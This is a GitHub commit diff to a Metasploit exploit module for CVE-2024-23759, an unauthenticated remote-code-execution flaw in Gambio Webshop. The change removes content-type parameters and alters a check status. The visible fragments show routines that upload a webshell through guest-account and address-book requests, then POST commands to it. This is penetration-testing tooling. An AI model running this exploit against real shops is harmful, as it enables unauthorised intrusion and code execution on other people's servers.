Skip to content

Commit 9f50f12

Browse files
committed
update addressing cdelafuente-r7 comments
1 parent 4546fd1 commit 9f50f12

File tree

1 file changed

+1
-5
lines changed

1 file changed

+1
-5
lines changed

modules/exploits/multi/http/gambio_unauth_rce_cve_2024_23759.rb

Lines changed: 1 addition & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -102,7 +102,6 @@ def execute_php(cmd, _opts = {})
102102
send_request_cgi({
103103
'method' => 'POST',
104104
'uri' => normalize_uri(target_uri.path, @webshell_name),
105-
'ctype' => 'application/x-www-form-urlencoded',
106105
'vars_post' => {
107106
@post_param => payload
108107
}
@@ -115,7 +114,6 @@ def execute_command(cmd, _opts = {})
115114
send_request_cgi({
116115
'method' => 'POST',
117116
'uri' => normalize_uri(target_uri.path, @webshell_name),
118-
'ctype' => 'application/x-www-form-urlencoded',
119117
'vars_get' => {
120118
@get_param => php_cmd_function
121119
},
@@ -158,7 +156,6 @@ def upload_webshell
158156
res = send_request_cgi({
159157
'method' => 'POST',
160158
'uri' => normalize_uri(target_uri.path, 'shop.php?do=CreateGuest/Proceed'),
161-
'ctype' => 'application/x-www-form-urlencoded',
162159
'keep_cookies' => true,
163160
'vars_post' => {
164161
'firstname' => firstname,
@@ -181,7 +178,6 @@ def upload_webshell
181178
res = send_request_cgi({
182179
'method' => 'POST',
183180
'uri' => normalize_uri(target_uri.path, 'shop.php?do=Parcelshopfinder/AddAddressBookEntry'),
184-
'ctype' => 'application/x-www-form-urlencoded',
185181
'keep_cookies' => true,
186182
'vars_post' => {
187183
'checkout_started' => 0,
@@ -215,7 +211,7 @@ def check
215211
# Search for "Gambio" on the login page
216212
return CheckCode::Safe unless res.body.include?('gambio')
217213

218-
CheckCode::Appears('It looks like Gambio Webshop is running.')
214+
CheckCode::Detected('It looks like Gambio Webshop is running.')
219215
end
220216

221217
def exploit

0 commit comments

Comments
 (0)